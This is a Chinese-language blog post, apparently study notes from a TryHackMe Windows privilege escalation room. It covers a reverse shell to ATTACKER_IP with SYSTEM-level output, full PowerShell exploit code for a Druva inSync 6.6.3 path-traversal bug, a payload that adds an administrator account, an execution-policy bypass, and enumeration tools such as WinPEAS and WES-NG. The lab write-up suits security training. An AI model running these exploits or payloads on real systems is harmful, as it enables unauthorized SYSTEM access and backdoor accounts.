注意:该漏洞可能需要长达 2 分钟的时间才能发挥作用,因此您的浏览器可能会暂时无响应。如果您多次运行该漏洞,就会发生这种情况,因为它必须等待 BITS 服务停止,然后才能再次启动。BITS服务会在启动2分钟后自动停止

-p参数指定漏洞利用程序要运行的可执行文件,nc64.exe在本例中就是这样。该-a参数用于将参数传递给可执行文件。由于我们希望 nc64 建立一个针对攻击者机器的反向 shell,因此传递给 netcat 的参数将是-e cmd.exe ATTACKER_IP 4442

如果一切设置正确,您应该会看到一个具有 SYSTEM 权限的 shell:

user@attackerpc$ nc -lvp 4442
Listening on 0.0.0.0 4442
Connection received on 10.10.175.90 49755
Microsoft Windows [Version 10.0.17763.1821]
(c) 2018 Microsoft Corporation. All rights reserved.

c:\windows\system32\inetsrv>whoami
nt authority\system

易受攻击的软件

未打补丁的软件

安装在目标系统上的软件可以提供各种特权升级机会。与驱动程序一样,组织和用户可能不会像更新操作系统那样频繁地更新它们。您可以使用该 wmic 工具列出目标系统上安装的软件及其版本。下面的命令将转储它可以收集到的有关已安装软件的信息(可能需要大约一分钟才能完成):

wmic product get name,version,vendor

请记住,该 wmic product 命令可能不会返回所有已安装的程序。根据某些程序的安装方式,它们可能不会在此处列出。始终值得检查桌面快捷方式、可用服务或通常任何表明存在可能易受攻击的其他软件的痕迹

一旦我们收集了产品版本信息,我们就可以随时在exploit-dbpacket stormGoogle等网站上在线搜索已安装软件的现有漏洞

案例研究:Druva inSync 6.6.3

目标服务器正在运行 Druva inSync 6.6.3,它容易受到Matteo Malvica报告的权限提升。该漏洞是由Chris Lyne最初针对版本 6.5.0 报告的另一个漏洞应用的错误补丁造成的

该软件很容易受到攻击,因为它在端口 6064 上以 SYSTEM 权限运行 RPC(远程过程调用)服务器,只能从本地主机访问。如果您不熟悉 RPC,它只是一种允许给定进程通过网络公开函数(在 RPC 术语中称为过程)以便其他机器可以远程调用它们的机制

在 Druva inSync 的情况下,在端口 6064 上暴露的过程之一(特别是过程编号 5)允许任何人请求执行任何命令。由于 RPC 服务器以 SYSTEM 身份运行,因此任何命令都以 SYSTEM 权限执行

6.5.0 及之前版本上报告的原始漏洞允许不受限制地运行任何命令。提供此类功能的最初想法是远程执行 inSync 提供的一些特定二进制文件,而不是任何命令。尽管如此,仍未进行任何检查以确保这一点。

发布了一个补丁,他们决定检查执行的命令是否以字符串开头C:\ProgramData\Druva\inSync4\,允许的二进制文件应该在该字符串中。但是,这被证明是不够的,因为你可以简单地进行路径遍历攻击来绕过这种控制。假设你要执行C:\Windows\System32\cmd.exe,它不在允许的路径中;您可以简单地要求服务器运行C:\ProgramData\Druva\inSync4\..\..\..\Windows\System32\cmd.exe,这将成功绕过检查

为了组合一个有效的漏洞利用,我们需要了解如何与端口 6064 通信。幸运的是,我们使用的协议很简单,要发送的数据包如下图所示:

第一个数据包只是一个包含固定字符串的 hello 数据包。第二个数据包表明我们要执行程序编号 5,因为这是一个易受攻击的程序,它将为我们执行任何命令。最后两个数据包分别用于发送命令的长度和要执行的命令字符串

最初由 Matteo Malvica在这里发布,可以在您的目标机器上使用以下漏洞来提升权限并检索此任务的标志。为了您的方便,这里是原始的漏洞利用代码:

$ErrorActionPreference = "Stop"

$cmd = "net user pwnd /add"

$s = New-Object System.Net.Sockets.Socket(
    [System.Net.Sockets.AddressFamily]::InterNetwork,
    [System.Net.Sockets.SocketType]::Stream,
    [System.Net.Sockets.ProtocolType]::Tcp
)
$s.Connect("127.0.0.1", 6064)

$header = [System.Text.Encoding]::UTF8.GetBytes("inSync PHC RPCW[v0002]")
$rpcType = [System.Text.Encoding]::UTF8.GetBytes("$([char]0x0005)`0`0`0")
$command = [System.Text.Encoding]::Unicode.GetBytes("C:\ProgramData\Druva\inSync4\..\..\..\Windows\System32\cmd.exe /c $cmd");
$length = [System.BitConverter]::GetBytes($command.Length);

$s.Send($header)
$s.Send($rpcType)
$s.Send($length)
$s.Send($command)

您可以弹出一个 Powershell 控制台并直接粘贴漏洞来执行它(该漏洞也可以在目标机器上获得 C:\tools\Druva_inSync_exploit.txt)。请注意,在变量中指定的漏洞利用的默认有效负载$cmd将创建一个pwnd在系统中命名的用户,但不会为其分配管理权限,因此我们可能希望更改有效负载以获得更有用的东西。对于这个房间,我们将更改负载以运行以下命令:

net user pwnd SimplePass123 /add & net localgroup administrators pwnd /add

这将创建pwnd密码为 的用户SimplePass123并将其添加到管理员组。如果利用成功,您应该能够运行以下命令来验证用户是否pwnd存在并且是管理员组的一部分:

PS C:\> net user pwnd
User name                    pwnd
Full Name
Account active               Yes
[...]

Local Group Memberships      *Administrators       *Users
Global Group memberships     *None

作为最后一步,您可以以管理员身份运行命令提示符:

自动工具

有几个脚本可以以类似于上一个任务中看到的方式进行系统枚举。这些工具可以缩短枚举过程时间并发现不同的潜在特权升级向量。但是,请记住,自动化工具有时会错过特权升级。

以下是一些常用于识别特权升级向量的工具。随意对这个房间里的任何机器运行它们,看看结果是否与讨论的攻击向量相匹配

WinPEAS

WinPEAS 是一个脚本,用于枚举目标系统以发现权限升级路径。您可以找到有关 winPEAS 的更多信息并下载预编译的可执行文件或 .bat 脚本。WinPEAS 将运行类似于上一个任务中列出的命令并打印它们的输出。winPEAS 的输出可能很长,有时难以阅读。这就是为什么始终将输出重定向到文件是一个好习惯,如下所示:

C:\> winpeas.exe > outputfile.txt

WinPEAS 可以在这里下载

PrivescCheck(私人支票)

PrivescCheck 是一个PowerShell脚本,用于搜索目标系统上的常见权限提升。它提供了 WinPEAS 的替代方案,无需执行二进制文件

可以在此处下载 PrivescCheck

提醒:要在目标系统上运行 PrivescCheck,您可能需要绕过执行策略限制。为此,您可以使用Set-ExecutionPolicy如下所示的 cmdlet

PS C:\> Set-ExecutionPolicy Bypass -Scope process -Force
PS C:\> . .\PrivescCheck.ps1
PS C:\> Invoke-PrivescCheck

WES-NG: Windows Exploit Suggester - Next Generation

一些漏洞利用建议脚本(例如 winPEAS)将要求您将它们上传到目标系统并在那里运行。这可能会导致防病毒软件检测并删除它们。为了避免发出不必要的噪音来引起注意,您可能更喜欢使用 WES-NG,它将在您的攻击机器(例如 Kali 或 TryHackMe AttackBox)上运行

WES-NG 是一个 Python 脚本,可以在此处找到并下载

安装后,在使用之前,键入 wes.py --update更新数据库的命令。该脚本将引用它创建的数据库来检查是否存在缺失的补丁,这些补丁可能会导致漏洞,您可以使用该漏洞来提升您在目标系统上的权限

要使用该脚本,您需要systeminfo 在目标系统上运行该命令。不要忘记将输出定向到一个 .txt 文件,您需要将该文件移至您的攻击机器

完成后,可以按如下方式运行 wes.py;

user@kali$ wes.py systeminfo.txt

msfconsole 自动查找推荐使用的模块

如果您在目标系统上已经有一个 Meterpreter shell,您可以使用该multi/recon/local_exploit_suggester模块列出可能影响目标系统的漏洞,并允许您提升您在目标系统上的权限

其他工具

我们介绍了 Windows 系统中可用的几种权限提升技术。这些技术应该为您提供关于攻击者可以用来提升系统特权的最常见路径的坚实背景。如果您有兴趣了解其他技术,可以使用以下资源:

posted @ 2023-03-12 09:56  Junglezt  阅读(416)  评论(0编辑  收藏  举报